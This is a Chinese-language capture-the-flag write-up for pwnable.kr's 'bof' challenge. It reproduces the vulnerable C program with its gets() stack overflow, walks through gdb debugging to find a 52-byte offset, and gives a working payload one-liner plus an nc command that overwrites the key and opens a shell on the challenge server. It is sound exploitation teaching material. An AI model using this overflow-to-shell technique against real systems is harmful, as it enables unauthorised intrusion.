pwnable-bof
答案
echo -e `perl -e "print 'A' x 52"`"\xbe\xba\xfe\xca" > test
cat test - | nc pwnable.kr 9000
cat flag
解题步骤
- 获取程序源代码
wget http://pwnable.kr/bin/bof.c
wget http://pwnable.kr/bin/bof
- 程序源代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
-
分析
- 可以看出这是一个栈溢出的漏洞利用
- c语言的 gets() 存在栈溢出漏洞,他不会检查输入字符串的长度
- 那么最终是要求我们利用栈溢出漏洞覆盖 key 的值,使其等于 0xcafebabe
-
调试步骤
chmod +x bof // 为bof赋予执行权限
gdb ./bof // 调试bof,检查执行堆栈信息 b main // 在main如何函数设置断点 r
layout asm // 打开反汇编窗口 si // 单步执行汇编指令 si si si // 我的是四步就进入了func函数内部
b *0x56555654 // 在cmpl $0xcafebabe,0x8(%ebp)处设置断点,这里相当于c语言中if(key == 0xcafebabe)
n // 执行到下一个断点,会直接执行完接收输入的gets aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj // 输入字符串,方便观察overflowme位置,为构造payload做准备
x/32wx $sp // 观察overflowme的位置
可以看到overflowme的起始地址为0xfffd2e0 + 0xc = 0xfffd2ec
x/4wx $bp+8 // 观察当前key的位置和值
可以看出key的地址为 0xfffd320
与前面的overflowme位置的差值为0x34即52个字符的长度
那我们需要填充 52个字符串 + 一个int就能成功
通过exit结束调试 -
构造payload
echo -e `perl -e "print 'A' x 52"`"\xbe\xba\xfe\xca" > test
-
连接远程主机并发送payload
cat test - | nc pwnable.kr 9000
- 注意需要用 cat test -,因为 cat test 执行一次就不再接受输入了,可以自己执行 cat test 和 cat test - 观察区别
- 现在我们已经在远程主机上获得了一个 shell ,因为 if 内部执行了 system(“/bin/sh”)
-
查看当前目录下的文件,获得flag
ls // 可以看到有个flag文件 cat flag // 获得flag